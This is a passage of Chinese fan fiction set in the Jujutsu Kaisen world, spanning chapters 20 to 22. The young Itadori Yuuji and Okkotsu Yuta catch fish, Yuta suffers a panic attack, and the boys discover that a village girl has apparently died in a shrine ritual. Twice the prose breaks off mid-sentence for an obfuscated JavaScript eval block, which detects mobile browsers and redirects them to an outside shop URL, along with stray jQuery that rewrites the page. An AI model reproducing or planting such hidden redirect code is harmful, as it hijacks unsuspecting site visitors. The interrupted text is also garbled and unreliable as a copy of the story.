年幼的孩子觉得世界上的人真的很多很多,哪怕只论他和爷爷生活的乡下,他都无法见到那个镇子上的所有人,就连同龄的小朋友也会有不知道名字的时候。尽管大家在那里生活了同样长的时间,可依旧有从来没有碰过面的人。
一个人是无法和所有人都成为朋友的,一个人也没有办法知道世界上所有人的名字。进入幼稚园的时候,每个人都要做自我介绍,虎杖悠仁学着当时很火的动画片主角说他想要和这里的所有人都成为朋友。
当时大家是什么反应来着?似乎有人在笑,大多数孩子沉默着,有些人在交头接耳,交换着手中的玩具。老师为他鼓掌,虎杖悠仁已经不记得那个温柔的女老师说了些什么,但他记得她肩膀上的丑陋咒灵瞪着突起的两个眼球向他发出了意义不明的低语。
那实在是最糟糕的开场。
虎杖悠仁很快就意识到要和所有人都成为朋友的想法又多么的不切实际。光从他根本没有办法和他讨厌的人好好相处这一点,就注定他无法达成自己说下的大话。
当他和虎杖倭助提起那个他很讨厌的孩子时,爷爷问他为什么这样想。
“他会揪女孩子的头发、在老师讲话的时候故意捣乱、踩坏了我的画也不道歉......”虎杖悠仁掰着手指一一数来。
这样的人简直烂透了!
然而爷爷却敲着他的头,告诉他哪怕是讨厌的人也要去了解对方。
“但是这样不就会更讨厌他了吗?”
“也许吧,”爷爷这样说道,“但是悠仁啊,每个存在于世间的人都有他存在的价值。如果你连这些都不愿意去了解就否定了对方,那是一种傲慢。至少要尝试着去做,之后无论是诅咒也好、祝福也罢,那才称得上是你的选择。”
直到现在虎杖悠仁才渐渐从爷爷的话中品味出了一些别的滋味。
“忧太一定也是因为这样才会觉得难受,”粉发的孩子说道,“因为你觉得她们也没有被人问过‘为什么?’就被认定成了很坏的家伙,所以才会为她们感到难过吧。”
乙骨忧太睁大了双眼。
哪怕了解过后依旧觉得讨厌的人很讨厌,也总比之后不知道哪一天发现自己其实没有那么讨厌对方却已经来不及后悔了要好得多。
虎杖悠仁听从爷爷的告诫,试图和那个自己不喜欢的孩子对话,试图了解对方。可惜,他还是很讨厌那个孩子。没有什么特别的理由,只是因为觉得那些行为很有趣,所以那样做了。被揪辫子的女孩很痛、被打断的老师很无奈、被踩坏画的自己很生气。
做着毫无理由的恶事,这是虎杖悠仁最讨厌的一类人。
“那两个孩子......说不定和我们是一样的。”乙骨忧太说道。也许并非是她们本身拥有什么奇特的能力,而是她们看到了咒灵伤害他人,却被误认为了凶手。
“有可能。”虎杖悠仁煞有其事地点点头,但是宫司说神社里最近还有事情,没办法带他们去旧村。
“没有处理完的事情是?”
在宫司回来的时候,虎杖悠仁跟在他身边问道。如果有什么事是他和乙骨忧太能够帮上忙的话,他们很乐意做些力所能及的事。
“不是什么特别重要的事,”男人婉拒了他们帮忙的请求,“神社里暂时没有什么工作,好好享受最后的夏天吧。对了,院子里有刚送来的西瓜,你们两个挑一个小一点的拿回去吧。要及时吃完哦,这个天气它们坏得很快。”
他们家没有冰箱,任何食物都无法过夜,除了从便利店买来的整箱面包。乙骨忧太一直在意着牛奶的保存期限,这些罐装的饮料被保存在角落的阴凉处,但闷热的天气总让乙骨忧太提心吊胆地担心它们会腐坏变质。
小西瓜由虎杖悠仁抱在怀里,一路上他都在和乙骨忧太说着想要将西瓜泡在冰凉的溪水里,所以黑发的孩子提出他们可以带着西瓜去捉鱼的那条河边,当然还要带上虎杖悠仁心心念念的抄网。
“嘿嘿!”被满足了心愿的孩子瞬间克服了正午的酷热,脑门上全是亮晶晶的汗珠,但依旧笑得火热:“别忘了戴上帽子呀,忧太!”
只比他们的脑袋大上一些的小西瓜的重量对虎杖悠仁来说没什么挑战性,后来他直接将它像一颗皮球一样顶在脑袋上,催促着乙骨忧太赶快跟上。
“要小心脚下哦。”乙骨忧太拿着抄网和两顶草帽跟在他身后,他们这次换了拖鞋才出门,这样就不用担心鞋袜被打湿了。
虎杖悠仁脚下走得极稳,只是让看着他的人觉得有些太危险了。与生俱来的运动天赋让粉发的孩子能够轻松驾驭河边凹凸不平的石滩,不过在接近水边的时候他还是乖乖将头顶的西瓜放了下来,仔细注视着落脚点,避免因为踩到滑腻的青苔而摔倒在水中。
“哇——西瓜要被烤熟了!”他有些震惊地摸着西瓜的表皮,不得不承认自己低估了太阳的威力。
乙骨忧太凑上来摸了摸它的表面:“真的诶!你说烤西瓜会是什么味道呢?”
虎杖悠仁想象了一下:“脆脆的?像是热冰激凌一样的口感?”
“......那是什么组合啊?!”
在稍微深一点的地方,溪水没过了脚腕,虎杖悠仁用石头围出了一个底座,正好可以将小西瓜严丝合缝地卡在那里,保证它不会被流动的溪水冲走。
水流的速度比他们上次来的时候快了不少,冰凉的水面时上时下,打湿了他的小腿。
祭典上的捞金鱼游戏用的是纸网,沾水后变得脆弱不堪,再加上金鱼离开水体时会激烈地挣扎,玩这个游戏最重要的就是控制力道与速度的技巧。虎杖悠仁只玩过一次,最开始他不得要领,最终由爷爷手把手传授他捞金鱼的秘技,并在粉发孩子第一次成功捞起来的时候露出了得意的笑容。
现在他手上的抄网是用纱布做成的,虽然缝得不是特别完美,但网口开得足够大,纱布的眼也足够细,不会让一般的小鱼轻易跑掉。
针线也是从杂货店买来的,虎杖悠仁和爷爷学过如何穿针引线,毕竟老人年纪上来了,眼神也没有原来那么好使。虎杖倭助的针线活说不上有多精妙,但简单的缝补还是能够做到的。幼稚园的校服衣摆上,虎杖悠仁的名字就是爷爷帮他绣上去的。
纱布被歪歪扭扭地缝在了铁丝扭成的椭圆铁圈上,沾了水之后才发现他们预留出来的网兜太长了,在水中滑动的时候简直就像一条长尾巴的鱼一样。
乙骨忧太将带来的空瓶中装满水,再将水瓶放到湍急的溪流中充当潜水镜,这样就能透过扭曲模糊的水面看清水下的石头缝里究竟藏了多少田螺。
河边没有人,高高的茎秆遮挡住了他们的身形,连里香都被放出来了。反正除了宫司也没有人能看见它,里香像个第一次玩水的小孩子一样,巨大的身躯让它并不害怕河流的深度,乙骨忧太就放任它去到距离河边更远的地方。
里香似乎正在认真地“注视”着水面下的游鱼。它并没有通常意义上的眼睛,但能够让人感受到它正在看着河中央个头更大、游得更快的鱼儿们。只是水面的折射让它错误地判断了方位和深度,几次落空之下,白色的咒灵发出懊恼的咕哝。
虎杖悠仁已经静悄悄地靠近了一群停留在石堆附近的小鱼。它们的身体在某些角度游动时会发出彩虹一样的炫光,身体又短又扁,但灵活非凡。
他有足够的耐心,慢慢地移动着抄网从旁侧靠近它们。
里香在水中扑腾着,溅起的水花搅乱了虎杖悠仁的视线,草帽檐的阴影下,那些小鱼们狡猾地游走了。
“里香的动静太大了!”虎杖悠仁向里香的方向泼水,白色的咒灵举起一根手指,上面串着一条正在不断挣扎的鱼。
粉发的孩子立刻变了一副表情,几乎要跳起来欢呼道:“里香好厉害!!”
听到夸奖的里香浑身散发出了快乐的气息,它跑回了乙骨忧太身边,将那条有些挣扎不动了的鱼丢进了他的怀里。
生鱼肉的腥气和血液的铁锈味一下子填满了乙骨忧太的鼻腔,他下意识地抱住了游鱼冰凉的身体,滑腻的鳞片从指缝间滑过。
红色的回忆在脑海中闪烁着。
他一把扔掉了那条濒死的鱼,几乎是茫然地向后退去,踩起道道水花。他明明不想去看那条翻着肚皮的死鱼,可视线却怎么也逃不开。
黑白分明的鱼眼球和他对视着。
“啊、啊......忧太,忧太......”
里香因为感受到他的情感而手足无措,远处的虎杖悠仁察觉到不对劲,立刻放下了抄网向他们这边走了过来。
呼吸似乎变得没有尽头。这一口气太长了,长到让乙骨忧太感到一阵窒息。
水中石头上的青苔令他无法保持平衡,僵硬的身体脱离了自己的掌控,向后直挺挺地坐到了水中。冰凉的溪水很快打湿了他的衣物,深色蔓延到了胸口。
一切都失去了控制,他连最简单的呼吸都做不到。他看见虎杖悠仁慌张的表情,大脑却很清醒。
他想说自己没什么事,但浑身的肌肉似乎都在痉挛,嘴巴也无法顺利地张开。
虎杖悠仁的身体无意间挡住了那条花白的死鱼,他顾不得会不会被沾湿衣物,直接跪在溪流中拍着乙骨忧太苍白的脸。
“你想吐吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378159|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快呼吸呀,你要把自己憋死了!呼——吸——忧太?忧太?!你能听到我在说什么吗?”
虎杖悠仁发现他根本没有在呼吸。
无论是拍打脸颊还是敲打胸口都无法让乙骨忧太迅速地恢复过来,虎杖悠仁意识到乙骨忧太这一次“病”得很厉害。要怎么办?!究竟要怎么办才能救救他?!
对了!
虎杖悠仁抱起和自己差不多高的孩子,踩着碎石直接上了岸,口中呼唤着里香:“里香!!拜托你了!!”
那个只有里香会用的神奇魔法!!
里香飞了过来,它比虎杖悠仁更加茫然无措。在它的认知中,乙骨忧太非常“健康”,那种力量无法治愈他现在的“病”。虎杖悠仁的催促声让它逐渐焦躁起来,变得更加无法沟通。
来不及思考为什么里香不用那个能够治好疾病的力量,虎杖悠仁一下一下顺着乙骨忧太的胸口,揉着他的后颈,试图让他放松下来。
他不停地呼唤着乙骨忧太的名字,攥住他颤抖的手指,将自己的体温传递了过去。
那些不断重复的噩梦、难以忘却的记忆,都在这样温暖的怀抱中慢慢褪色。乙骨忧太仍能看见它们,但那些和现实重叠的画面颜色不再鲜活,变成了陈旧的画像,让人得以从那无比真实的幻觉中抽离出来。
当乙骨忧太终于摆脱满目炫光,意识到自己还活着的时候,完全不知道刚才究竟发生了什么。
湿透的衣服被水边的风一吹,带走了他身上所剩无几的热量,这时搂着自己的滚烫身体的温度就变得不可忽视。
“......太,没事吧?要去看医生吗?忧太?!”
乙骨忧太怔怔地看着虎杖悠仁,麻木的嘴巴终于发出了声音:“我、刚才......?”
听到他的声音,虎杖悠仁可算松了一口气,他有些后怕地说:“你刚才就这样突然摔到水里去了,怎么叫你都不回答,还一直在憋着气。”
他伸出手在黑发孩子眼前晃晃,见到有些聚不起焦来的黑色眼瞳追逐着他的手动了动,仍然心有余悸。
乙骨忧太有些手脚发软,没办法自己站起来,虎杖悠仁将他交给了里香,自己则跑回了河里捡起被乙骨忧太扔掉的那条鱼。
它已经彻底死去了,鱼鳃的红色正在逐渐褪去,腥臭的血从被里香贯穿的孔洞中淌出,顺着虎杖悠仁的手腕滴落进河里。
忧太就是看到了它才......?
他回头看了一眼,从他的角度只能看见乙骨忧太从里香臂弯中伸出的双脚。虎杖悠仁咬牙,用上了全身的力气将那条死鱼远远地扔回了河中央。
噗通——
他扔得极远,等了两三秒才听到了重物拍击在水面的声音。涟漪很快和风在水面吹出的痕迹融为了一体,花白的死鱼随着水流的方向逐渐消失在了他的视野里。
他们空手而归,虎杖悠仁还记得抱上他们的西瓜。反正也没有人能看得见里香,平日也很少有人会上到红房子这边来,所以虎杖悠仁拒绝了乙骨忧太想要自己走回家的想法,让里香带着他们两个以最快的速度回了家。
里香真的在飞。
虎杖悠仁确定它的......那条蛇一样的尾巴并没有接触到地面,带着他们贴地飞行,需要走上半个小时的路这次只需要几分钟。如果他们知道隔壁村子或者最近的镇子的方向的话,直接避开人群让里香带着他们过去完全来得及嘛!
两个浑身湿透的孩子挤在大木桶里洗掉了身上的冷意,里香飞得速度很快,不过这也导致乙骨忧太到家的时候因为风吹得身上水分蒸发而瑟瑟发抖起来。
希望这个热水澡还算及时,第二天起来千万不要有鼻塞或发烧之类的症状。
“悠仁,你的膝盖......在流血!”迈出木桶的时候,虎杖悠仁才留意到膝盖处传来的沙疼。
大概是跪在碎石滩上的时候不小心被划伤的吧?伤口只是蹭破了一些表皮,显出来的红色也并非真正的血迹,对虎杖悠仁来说只是不痛不痒的伤口,完全不需要特意包扎。
“我以前有摔得比这还惨的时候,不用担心啦。它们明天就会结痂,倒是忧太,你真的没事了吗?手上有擦伤吗?当时你直接倒下去了,吓了我一跳!”
乙骨忧太的两只手掌只是微微泛红,并没有被浅滩上的碎石头割破。
在确认他不是在逞强之后,虎杖悠仁自告奋勇要去处理抱回来的西瓜。家里只有一把折叠刀,西瓜不大,不过就算只有吃饭用的铁勺,虎杖悠仁也能想办法将它掰开。
“嗯?这是......?”
回来的时候他的注意力并不在西瓜的身上,没有注意到略长的瓜蒂上挂了一条红色的绸缎。红布像是从什么东西上撕扯下来的,两端断口处的丝线毫无章法地绽开,看起来并没有在水中泡上很久,干干净净的,没有沾上青苔和藻类。
估计是从河里带上来的吧。虎杖悠仁随手将它扔进了垃圾袋中,开始用小刀切西瓜。
21. 第 21 章
乙骨忧太在浴室里擦着头发,听到虎杖悠仁在外屋处理西瓜时刀刃切过果肉的声音。
哒。
刀刃贴上了案板,清脆的敲击声让乙骨忧太狠狠甩了甩头。
因为缺氧和突发事故而缺失的记忆与思考能力逐渐回炉,他意识到祈本里香死亡的事实对他的影响仍在继续。那晚的画面一直没能彻底被他遗忘,仅仅是快如闪电般的闪回也会让他下意识地干呕,胃部隐隐抽痛。
祈本里香的死亡并非毫无痛苦,相反,不论是死去的人还是目睹死亡的人......没有谁能够轻松从那场事故中走出来。
那条鱼让他想起了女孩的尸体。和脖子上款式相同的戒指还戴在她的手指上,将血的颜色衬得无比鲜艳。
“里香......”
你是因为那场事故才无法成佛的吗?是因为太疼了吗?还是有什么未了的心愿?
乙骨忧太攥住了挂在自己脖子上的戒指。被那场事故困住的灵魂不止祈本里香一个。
“忧太!你还没好吗?太慢啦!”虎杖悠仁跑到浴室门口冲他喊道:“我都把西瓜切好了!真的像是刚从冰箱里拿出来一样凉凉的!”
“我来了。”乙骨忧太最后看了一眼镜子里的自己,放下毛巾走了出去。
西瓜对虎杖悠仁来说是独属于夏天的记忆,他还记得去年夏天他趴在老家的榻榻米上吃爷爷切好的西瓜。老家的房子是偏和室的老房子,有一圈木制的回廊,正对着种了一棵树的庭院。
虎杖悠仁叫不出那棵树的名字,但只记得它长得很高很高,夏天枝繁叶茂,午时投下的阴影足够将他常待的地方完全笼罩进去,不会漏下任何刺眼的阳光。
他很喜欢下午两三点的时候躺在那里,看着模糊的光斑随风在地上起舞。
“我们家比起吃西瓜,好像更常吃西瓜味的冰棍......”乙骨忧太回忆道。虽然包装上写的是“西瓜味”,连冰棍的模样都是红绿配色的,可味道却与真正的西瓜天差地别。就像草莓味的糖果和真正的草莓味道全然不同,只保留下了甜腻的感觉一样。
说起糖果、冰棍之类的零食,它们对各种水果口味已经形成了一种固定的标准,草莓味就是甜的,柠檬味就是酸的,若说有什么新意,偶尔也能见到西瓜味、葡萄味甚至榴莲味的新奇东西。但就是和这些水果真正的味道不一样,孩子们却能将它们分得很清楚。
这个小西瓜不大,两个孩子很快就能吃完。没有想象中的那么甜,瓤有些沙沙的,敏感的舌尖能够感受到缺水一样的颗粒感。
虎杖悠仁从挖出来的西瓜籽里挑了半天,选出了几个颜色黑亮、圆润饱满的种子放在了一边,准备找个机会种到院子里去。
“第一次种的话肯定不会那么顺利,所以就随便什么都种一点,什么能长出来就继续养什么喽!”虎杖悠仁将挑好的种子们放在了纸巾上,用水打湿后盖好。
“是个好主意呢。”乙骨忧太赞同道。
“不知道中美的病有没有好一些......”虎杖悠仁撑着下巴望向窗外,从这个方向能够看到一望无际的森林。
“......”乙骨忧太只能安慰他:“她会好起来的。”
看出乙骨忧太不想在家里继续谈起神社和祭典的事,虎杖悠仁主动转换了话题,说起了经常出现在院子里的一些小动物。
“诶?!还有狸猫会进到院子里来吗?!”
乙骨忧太大为吃惊,他从来没在院子里见过这种小动物。虎杖悠仁则对乙骨忧太对此一无所知这件事感到惊讶:“忧太从来没注意过吗?有的时候还能看见貉或者刺猬之类的躲在角落里呀。”
他拉着乙骨忧太跑到院子后面的杂物堆附近,弯下腰在废纸板、铁皮和木材堆成的小山中寻找着什么。
“它们喜欢躲在这边,有的时候能够看到它们去刨垃圾桶呢。你看!”
乙骨忧太和虎杖悠仁蹲着挤在一起,他的视线顺着粉发孩子的手指向黑暗中看去,慢慢地看见了一团蜷缩在角落里的刺猬。那个小东西似乎在睡觉,对在“洞穴”外面对它指手画脚的巨人们的存在毫不在意。
“嘿嘿,我那天来找铁丝的时候还看到了貉,脸上的颜色像是海盗一样,应该只是一个没长大的小家伙。”
虎杖悠仁拨开脚边不停扫过皮肤的草尖,啪地一声打死了一只企图停在他身上吸血的花蚊子,苦恼地说:“杂草长得太高了,我们之后要不要来把院子处理一下?要是想要在土里种点什么,我们还得垒一块菜地才行。”
乙骨忧太点点头:“外面的水管果然还是得去找店主,请他来修一下才行。”
没想到院子里竟然还有这么多秘密住客......虽然这样的确显得生机勃勃,但如果放任不管的话,乙骨忧太觉得自己还不太想在屋子里见到甲虫或鼠妇之类的小虫子,所以还是尽早将越长越高的杂草清理一下比较好。
虎杖悠仁有和爷爷一起清理庭院的经验,于是自告奋勇地提出可以由他来教乙骨忧太如何简单快速地清除丛生的杂草。这项工作被安排在了明天,眼下有更重要的事亟待解决。
整个下午,乙骨忧太坐在桌子前,开始计算为家里添置几个家用电器总共需要花费多少钱。他们去过很多次杂货店了,对于生活必需品的价格有大致的印象,因为店里买的几乎都是二手货,所以价格也比正常全新的电器低上不少。
这对两个孩子来说是个好消息,二手或者全新对他们来说并没有多少区别,能够买到更便宜的当然更好。
“大家的钱都从哪里来呢?”虎杖悠仁歪歪扭扭地侧身枕着一条手臂躺在桌子上。
这个村子里可没有乙骨忧太的父母工作的那种公司,他们在进入村子之前见到了大片的农田,常去的溪流对岸也是一望无际的菜地。乙骨忧太觉得村民大部分的收入都来自务农,但他们很少见到有装满作物的推车离开村子。像杂货店或便利店老板自然有稳定的经济来源,他们也见过有孩子坐在土路边帮家里人修补渔网,想必周围也有可以捕鱼的河流或湖泊。
还有一些人会到处帮工,或者组团去隔壁旧村的林场干活。村子里的人不敢靠近附近的山林,而隔壁旧村的林场在另一片山头上,所以大家会去那附近的森林里砍柴、挖野菇、刨笋之类的,既可以改善伙食也能拿到林场的工资。
偶尔也会有猎杀野猪之类的工作。
如果乙骨忧太和虎杖悠仁没有继承神社,他们也只能从这几个工作中选定一样。要是附近的森林能被利用起来的话,当个樵夫应该也不错,虎杖悠仁自己有的是力量,扛木头或者切割巨木肯定不在话下。
“这也想得太远了啦,”乙骨忧太觉得没有必要思考太过遥远的未来,“我们每个月的钱还很充足,至少在......成年之前,应该不用太担心的。”
说到时间,他不由自主地顿了片刻,随即恢复了正常。
一直待在这个村子里也没什么问题,只是......乙骨忧太觉得自己并不是特别喜欢这个选择。
感觉以后可能会后悔——这样的直觉让他劝说虎杖悠仁不必思考过远的未来,当时间走得足够长,他们还会有全新的想法也说不定。
购买家电的计划并没有如愿进行。
自从上次乙骨忧太在河边出现异常之后,虎杖悠仁再没有主动提出过要去溪边捉鱼或者摸田螺。他们某天在去神社的路上碰到了松下,他拖着湿哒哒的渔网走在小路边,手里捏着一只举着钳子的小龙虾。
他们迎面撞上,虎杖悠仁也就随口打了招呼:“好久不见?中美好一些了吗?”
他看见松下挑起一边的眉毛,脸色奇怪地看着他。
“......?”
松下的声音还带着疑惑:“她肯定很好吧?”
虎杖悠仁简直要将眉头皱出深深的沟壑:“那就好?”
他们没有再进行更多的交谈,错身而过的时候虎杖悠仁一直盯着松下的背影,直到他拖着那张长长的渔网消失在街角。
地上还有一道未消的水痕延伸到远方,乙骨忧太似乎能够嗅到上面的鱼腥味。
“他怎么会用那种语气?听起来像是他这几天也没有见过中美,那为什么能够这么肯定地给出回答呢?”
松下的话听起来非常笃定,他反而在因为虎杖悠仁的问题而觉得不可置信。就仿佛“中美一定会好起来”这件事是理应人尽皆知的事实,会提出这种问题的虎杖悠仁才是难以理解的那一个。
乙骨忧太摇头。
“要去她家看看吗?”
“可以倒是可以,”乙骨忧太看了一眼已经快要挂在头顶正上方的太阳,“那我们吃完饭去吧!”
虎杖悠仁踢着脚下的石子,灰色的小东西被他踢飞进了草丛中,不见了身影。
他们看到了巫女们站在神社门口的鸟居旁,三三两两地凑在一起说着什么。他们从旁侧的草地中穿行而过,来到了朱红鸟居之下,看见宫司和另外的一些人站在社务所前。
“发生什么事了吗?”虎杖悠仁问道。
相熟的巫女悄悄告诉他:“中美的哥哥,你们认识吧?就是诊所新来的那个医生......他跑出来了,村长他们说那家伙扬言要烧掉这个村子,宫司他们还在想办法。这几天你们也不要随意乱跑,见到他的话要赶快躲起来。”
抱着手臂站在一旁的另一个巫女扯了扯她的胳膊,说的话似乎另有所指:“去过外面的人回来都会变成他那个样子,要我说还回来干什么?给大家添了这么多麻烦,还要继续威胁我们的生活......”
巫女轻轻推了她一把,似乎在制止她:“你在孩子们面前说这些......”
被两双眼睛注视着的虎杖悠仁仍旧满脸纯真的表情认真听着,反倒是她们先移开了视线:“总之,最近会有危险的家伙在村子里游荡,在宫司他们解决问题之前,别随便乱跑了。”
她们离开了原地,渐行渐远的同时还有交谈声传来:“那孩子不会也像宫司一样吧?”
“......怎么可能,有红房子的那位在......看在钱的份上也不可能啊。”
虎杖悠仁回过神来,转头和乙骨忧太的眼神在空中的某处交汇。他露出了一个似笑非笑的表情,似乎脸上的神经与肌肉都变成了最陌生的东西,无法自如控制,让表情变得正常而无害:“忧太。”
乙骨忧太看穿了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378160|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼前这个孩子表皮之下的恐慌与无措。
“‘那孩子’......说的会是——”
乙骨忧太抬手捂住了他的嘴巴,将未脱口的话语堵在了掌心之下。
他瞪着眼睛,面无表情地用只有他们两个人能听到的音量安抚虎杖悠仁:“没事的,悠仁。不能在这里说哦。”
虎杖悠仁打了个冷颤。他骤然感觉到如芒在背,仿佛无形之中有无数双眼睛正从他看不见的角度注视着他们,如有实质般的银针扎刺着他的皮肤,留下阵阵灼热的钝痛。
乙骨忧太牵着他的手,他们去便利店买了吃的,然后又绕路去往巨木以北的方向。
中美家就在那里,他们轻车熟路地从旁边的土坡爬了上去,绕到了后门。那天下雨的时候,他们就是在这里敲开了中美家的窗户玻璃。
原本完全用厚重的窗帘遮挡住的玻璃如今大大方方地敞开着,从这个角落能够看到整个客厅。
虎杖悠仁看到了中美。
她的相片被挂在了墙壁上,女孩的脸被轻飘飘的白色烟雾扭曲,连笑容都变得狰狞可怖,让虎杖悠仁情不自禁地攥紧了和乙骨忧太交握的手。
没有脸的石像就被摆在相片的下方,和本殿内一样的供品在石像前一一铺开,一男一女正跪在这面墙前,虔诚地参拜着。他们背对着虎杖悠仁和乙骨忧太,一旁的地板上还摆放着几袋崭新的大米。
和无数已经开始腐烂的果子。
它们堆成了一座小山,果肉表面向下凹陷的坑发黄,虎杖悠仁一下就想明白了那些究竟是什么。
那是中美啃下果肉的地方,长时间暴露在空气中后那部分开始氧化发黄,加快果实的腐烂。
靠近这扇窗户的橱柜上还摆放着女孩喜欢的粉色娃娃。
乙骨忧太感觉到自己分泌唾液的速度开始加快,他不自觉地吞咽着,舌根下开始发酸。
“中美死了吗?”
虎杖悠仁看着他,乙骨忧太一动不动地盯着他的双眼,试图从琥珀色的瞳仁中看出点什么好救救他们。
救救他。
他猛地回身,蹿到了茂密的灌木丛中弯腰呕吐了起来。
这一次虎杖悠仁没有立刻追上去。
乙骨忧太感觉到视野正在生理性地变得狭窄,泪水堆积在眼角,简直就是噩梦的再现。
虎杖悠仁实在有些不太明白了。
死亡——在这短短不到两个月的时间里,死亡和他已经变得如此熟悉。除了“再也见不到”、“没办法一起玩耍和生活”之外,它开始逐渐被赋予了其他的意义。
爷爷是因病逝世,祈本里香是因为意外事故。
这是无能为力的分别,虎杖悠仁没有力量改变这样的死亡。所以他宁愿相信这世上真的有神存在,也只有神明的力量有可能扭曲这样的事实。
那么中美呢?她又是因为什么原因而死去?遗体已经下葬、入土为安了吗?她的灵魂会像里香一样被困在这里不得成佛吗?
那个被他们推进井中的男人......又是因何而死?
红房子。巫女们说到了红房子。虎杖悠仁想要问个清楚,他野兽般的直觉警告着他,如果不将这些事情搞明白的话,未来一辈子直至死去他都会为此感到困扰。这是他真正成长为人所必须要面对的唯一难题。
他拨开能够将他整个人都遮住的灌木丛,看到了跪在地上的乙骨忧太。黑发男孩的肩膀耸动着,发出含混不清的呜咽。
“忧太,”虎杖悠仁叫着他的名字,将音节反复咀嚼,“我们得赶快回家。”
因为呕吐而下意识抠挖泥土的手指沾满了污泥,乙骨忧太仿佛没有察觉到一般径直揪住了自己的头发,摇晃着无力地说:“我......是因为我选了她,才......!!”
结果还是做出了错误的选择!!
乙骨忧太没有办法将自己从这件事中选择性地剥离出去,他简直就像抓不住海床的藻类,只要有任何洋流经过他的身边都能轻易地将他带离原地,卷入无尽的海渊。
凭借着自己的意志做出的选择都是错误的,那以前做过的其他选择会不会在某一天催生出无法逃离的厄运降临在他和他在乎的人身上呢?!
他真的很害怕,甚至现在就想这样永远独自一人,不用做出任何决定的话就不会伤害到任何人——!
“——才不是这样呢!”
一颗星星在他的眼前亮起。
流溢的光划过漆黑的夜幕,直直地砸进了他即将自我封闭的内心,留下灼热逼人的气息。
“不是这样的。如果一道题不管怎么选都是错的,那就不是从来都没有正确答案吗?!”
中美的死亡到底是因为“她是中美”,还是因为她身上背负着其他的角色?
虎杖悠仁拉起乙骨忧太,一把将他从狭小的灌木丛间拽了出来:“我们还不知道究竟发生了什么,不是吗?就算最后忧太还是想要责备自己,我也绝对不会放手的!”
乙骨忧太不敢相信虎杖悠仁会永远陪在他身边的未来,那他可以一遍一遍地用语言、用动作、用事实来告诉对方自己绝对可以做到。
他愿意为此立下“誓言”。
22. 第 22 章
虎杖悠仁决定独自调查这件事。他觉得乙骨忧太会选择中美的理由包括他自己曾经说过的那些话,所以这其中也有他的责任在。
但和乙骨忧太分开行动这一想法根本没有办法实现,他们几乎形影不离,虎杖悠仁也找不到理由单独行动。
这几天他们虽然仍旧按时去神社,可宫司却一直忙得见不到人,虎杖悠仁也得以在帮忙清扫庭院和收拾东西的时候向熟识的巫女询问一些有关中美和祭典的秘密。
他无意识地利用着自己那张看起来乖巧无害的脸,纯真的眼神让人无法拒绝他的请求。
这样的祭典并不是每年都有的,上一次挑选稚儿的仪式是在三四年前。巫女似乎对这个仪式讳莫如深,但是除此之外却知无不言。
“宫司先生是怎么当上宫司的呀?要考试吗?”
这样的问题逗笑了她,也让她不自觉地放松了警惕:“你们不需要考试的,别担心。说起宫司先生......”
巫女四下看了看,在庭院的这一片区域就只有她和两个孩子在,得益于平日里乙骨忧太的沉默寡言和虎杖悠仁的乖巧,她放心大胆地和他们说了起来:“宫司先生以前也是被选中的稚儿呢!他走进森林,见到了神明大人,回来之后就继承了神社宫司的位置,那之后神社的工作就都交给他了。”
末了,她又补上了一句:“那个时候他似乎只比你们大一些呢。”
虎杖悠仁将手背在身后,让扫把像尾巴一样拖在身后甩动:“那,他是怎么从森林里走出来的?他好厉害!”
“这个......”巫女突然闭上了嘴巴,不肯再多说。她分享的秘密太多了,在危险的话题边缘徘徊让她产生了退缩之意,理所当然地终结了这场谈话。
从小生长在村子里的孩子们已经将“不可靠近神明生活的山林”刻进了骨髓中,除了敬畏之意,他们听的最多的便是“进去了就没办法再出来”的威胁。因为这样的禁忌,这个村子没有办法像隔壁的旧村那样充分利用附近的林木资源,只能日复一日地打理农田、照料牲畜,去附近的河流捕鱼为生。
宫司的交替向来只有新、旧两位宫司才知道内情,而今这位宫司选中虎杖悠仁和乙骨忧太作为继承者的事情虽然已经人尽皆知,可究竟因为什么选中他们却无人知晓。就连他们自己也想要知道理由。
“一定是因为里香,”他们躲在树荫下,神苑中郁郁葱葱的树木遮住了他们的身影,乙骨忧太笃定地说道,“或者是因为我们能够看见它们。”
“但是,这个村子里又没有咒灵,看得见又不能......”虎杖悠仁的话说到一半,忽然自己停了下来。
妈妈只和他说了那些东西叫做咒灵。他开始后悔当时没有问更多关于咒灵的事了。
他们之间只剩下了沉闷的呼吸声。半晌,虎杖悠仁压低了声音:“忧太,你觉得住在山上的那个家伙也是一只咒灵?”
总要有人主动说出来的。这个村子足够奇怪,咒灵本来应该是无处不在的,可是这里却见不到它们。宫司和巫女不止一次提到是因为神明大人才让他们过上安稳的日子,难道说是因为那个“神”,这里才见不到咒灵吗?
“可能......是一个特别厉害的咒灵,所以其他的咒灵不敢靠近?或者是一个能够消灭掉其他咒灵的存在?这样想的话,祂应该是个很好的神。”
“但是这样的存在为什么要吃掉小孩子?”
虎杖悠仁有点搞不明白。祂让咒灵远离了这个村子,这是在做好事。但村子却每隔几年要送去一个小孩子?简直就像神话中和妖怪达成了协议的故事,人类送上丰厚的祭品来祈求能力高强的妖怪守护村落......而故事中的某一方总会会变得贪得无厌,故事的走向不外乎是几种既定的结局。
“祂大概不是一个那么仁慈的神吧?”
一个并不仁慈的神......会向祈愿之人降下恩赐吗?会垂怜那些跪趴在地上请求祂施舍的人吗?
里香还没有成佛。神没有理会他们的愿望。
